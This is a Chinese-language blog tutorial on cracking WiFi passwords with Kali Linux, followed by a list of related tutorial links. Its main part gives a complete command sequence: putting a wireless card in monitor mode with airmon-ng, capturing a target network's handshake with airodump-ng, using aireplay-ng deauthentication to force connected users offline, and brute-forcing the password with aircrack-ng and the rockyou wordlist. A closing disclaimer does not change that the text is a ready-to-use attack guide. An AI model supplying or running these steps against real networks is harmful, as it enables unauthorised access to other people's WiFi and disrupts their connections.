kali linux的使用教程

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

一.需要准备:

(1)安装VMware Workstation虚拟机。

安装文件:
链接:https://pan.baidu.com/s/11ZBV1RJZjW9Gi53YZ7Q31Q
提取码:lqh1 安装教程网上自行百度,这里不再详说

(2)安装kali-linux系统。

**可以自行安装,下面是镜像文件。安装教程自行百度。

kali-linux的iso文件:
链接:https://pan.baidu.com/s/1keH6-us_H9uMuApgmf0ZeA
提取码:lqh2

**也可进入kali官网下载镜像文件 kali官网.,在Downloads中选择Download Kali Linux,

**安装完成之后打开kali linux

(3)准备网卡

购买网卡时应该注意:
1、该网卡可以连接kali linux
2、该网卡具有监听模式
VMware Workstation中不能识别windows自带的无线网卡。

二.开始破解

(1)插上无线网卡

点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接

(2)输入ifconfig查看网卡信息,出现wlan0说明连接成功

(3)输入 airmon-ng start wlan0开启网卡监听模式

如果出现有报错信息,说明缺少网卡固件。请搜索:rt2870固件.进行下载,下载之后放到/lib/firmware即可。

(4)输入iwconfig命令查看网卡信息

wlan0mon网卡名加了mon则表示成功

(5)输入airodump-ng wlan0mon

开始扫描WiFi,按ctrl+c结束任务

BSSID:wifi的MAC地址
PWR:信号强弱程度,数值越小信号越强
#DATA:数据量,越大使用的人就越多
CH:信道频率(频道)
ESSID为wifi的名称,中文可能会有乱码

(6)数据抓取

//输入
airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon
//例如:本次抓取的wifi名称:CMCC-DDtP
airodump-ng --bssid 10:58:87:2D:75:09  -c 3 -w /home/wifi2/test2 wlan0mon
注意:在输入 “抓包路径” 时,需要自己自定义创建一个目录

如图所示:

如果抓取不到,需要强制把连接的用户踢下线,只有对方重新连接后,才能抓取成功

=操作步骤=

1.查看客户端的mac地址
airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)

如图所示:

2.把查到的手机或者用户踢下线
airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)3.例如:
aireplay-ng -0 0 -c B8:27:C5:13:E6:BD -a 10:58:87:2D:75:09 wlan0mon

=恢复用户连接=

当使用 aireplay-ng 断开用户连接时。
需要ctrl+c断开后,用户才能自己连接上,否则用户的连接会被受限制

(7)解压kali自带的字典文件

解压 /usr/share/wordlists/ 下的 rockyou.txt.gz 文件例如 :gzip -d /usr/share/wordlists/rockyou.txt.gz

(8)进行爆破

键入:aircrack-ng -w 字典路径 握手包路径
例如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi2/test2-02.cap

显示破解成功:

虽然破解成功了,但是我的密码是自己写进rockyou.txt文件中的,要不然需要等待一段时间所以使用kali-linux进行破解时,需要强大的字典和时间。

注意:本教程仅供自己闲暇学习交流使用,请勿用于非法用途。否则,本人不承担任何法律责任!!

kali linux的使用教程相关推荐

  1. Kali Linux网络扫描教程(内部资料)

    Kali Linux网络扫描教程(内部资料) 试读样张:http://pan.baidu.com/s/1qWuNSYw 前  言 Kali Linux是业内最知名的安全渗透测试专用操作系统.它的前身就 ...

  2. 基于Android设备的Kali Linux渗透测试教程第1章渗透测试

    基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...

  3. Kali Linux安全渗透教程1.1Linux安全渗透简介

    Kali Linux安全渗透教程1.1Linux安全渗透简介 渗透测试是对用户信息安全措施积极评估的过程.通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如设计缺陷.技术缺陷.本章将 ...

  4. Kali Linux 安全渗透教程第七更 大学霸1.4.3安装至VMware Workstation

    Kali Linux 安全渗透教程<第七更>大学霸 1.4.3安装至VMware Workstation VMware Workstation是一款功能强大的桌面虚拟计算机软件.它允许用户 ...

  5. Kali Linux 安全渗透教程第六更1.4.2 安装至USB驱动器Kali Linux

    1.4.2  安装至USB驱动器Kali Linux 安全渗透教程<第六更> Kali Linux USB驱动器提供了一种能力,它能永久的保存系统设置.永久更新.在USB设备上安装软件包, ...

  6. Kali Linux 安全渗透教程第五更1.4 安装Kali Linux

    Kali Linux 安全渗透教程<第五更>1.4 安装Kali Linux Kali Linux 安全渗透教程<第五更>1.4 安装Kali Linux Kali Linux ...

  7. Kali Linux 安全渗透教程第一更

    Kali Linux 安全渗透教程 目录 第1章  Linux安全渗透简介 1.1  什么是安全渗透 1.2  安全渗透所需工具 1.3  Kali Linux简介 1.4  安装Kali Linux ...

  8. Kali Linux安全渗透教程(内部资料)

    Kali Linux安全渗透教程第一章(内部资料) 下载地址://pan.baidu.com/s/1dDnEL4P Kali Linux安全渗透教程第二章(内部资料) 下载地址:://pan.baid ...

  9. kali linux 网络架构,Kali Linux网络扫描教程大学霸内部资料

    Kali Linux网络扫描教程大学霸内部资料 Kali Linux网络扫描教程大学霸内部资料 黑白教程:95元 彩色教程:118元 介绍:渗透测试是一门操作性极强的学科.掌握该技能的最佳方式就是大量 ...

  10. android设备安装kali,在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸...

    在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸 基于Android设备的Kali Linux渗透测试教程2 Android是一种基于Lin ...

最新文章

  1. 深度学习中的激活函数总结
  2. itextpdf中文不显示_LaTeX实时预览中文
  3. java同时执行同一个方法吗_java 返回结果的同时执行另一个方法
  4. MySQL字符串和二进制
  5. Spring Cloud Gateway
  6. sqlserver 班级排名_Sqlserver:班级排名问题(转发)
  7. [Leetcode][第329题][JAVA][矩阵中的最长递增路径][DFS][拓扑排序]
  8. Sharepoint 修改密码
  9. 在linux下添加路由
  10. python将文本文件加密后输出_Python:将Casear密码和柱状转置密码的加密输出写入.txt文件...
  11. IDEA入门(一):简介、安装
  12. 导致大量kworker的原因_氨氮超标的几种原因及解决办法
  13. (四)将容器部署到Azure上的Kubernetes
  14. 软件加入使用时间_Mac实用菜单栏管理小工具 Bartender 3 | Mac软件天堂
  15. C#.NET验证码智能识别学习笔记---01C#.NET验证码识别介绍
  16. 服务器 dell 重装 win7系统,戴尔笔记本重装系统
  17. 小米八android耗电比例很大,MIUI系统最全省电方法,五招解决小米手机耗电快
  18. 全开源即时通讯(IM)系统 高仿微信,android移动应用开发
  19. 【数据聚类】第五章第一节:基于网格的聚类算法概述
  20. 配置华为路由器的常用命令

热门文章

  1. quartz定时任务时间设置
  2. vjc机器人灰度怎么编程_求用vc++编程实现显示灰度直方图的详细步骤,越详细越好...
  3. Java代码实现—寻找素数
  4. 超效率dea matlab,MATLAB在超效率DEA模型中的应用研究
  5. 学习CNDS博客写作
  6. linux驱动开发(一):一个最简单的内核驱动程序
  7. 几款好用的滤波器设计软件
  8. 某车企笔试题解答(2)
  9. java考试系统_Java实现在线考试系统与设计(学生功能)
  10. 用Python写的WiFi暴力破解工具(字典),已封装!!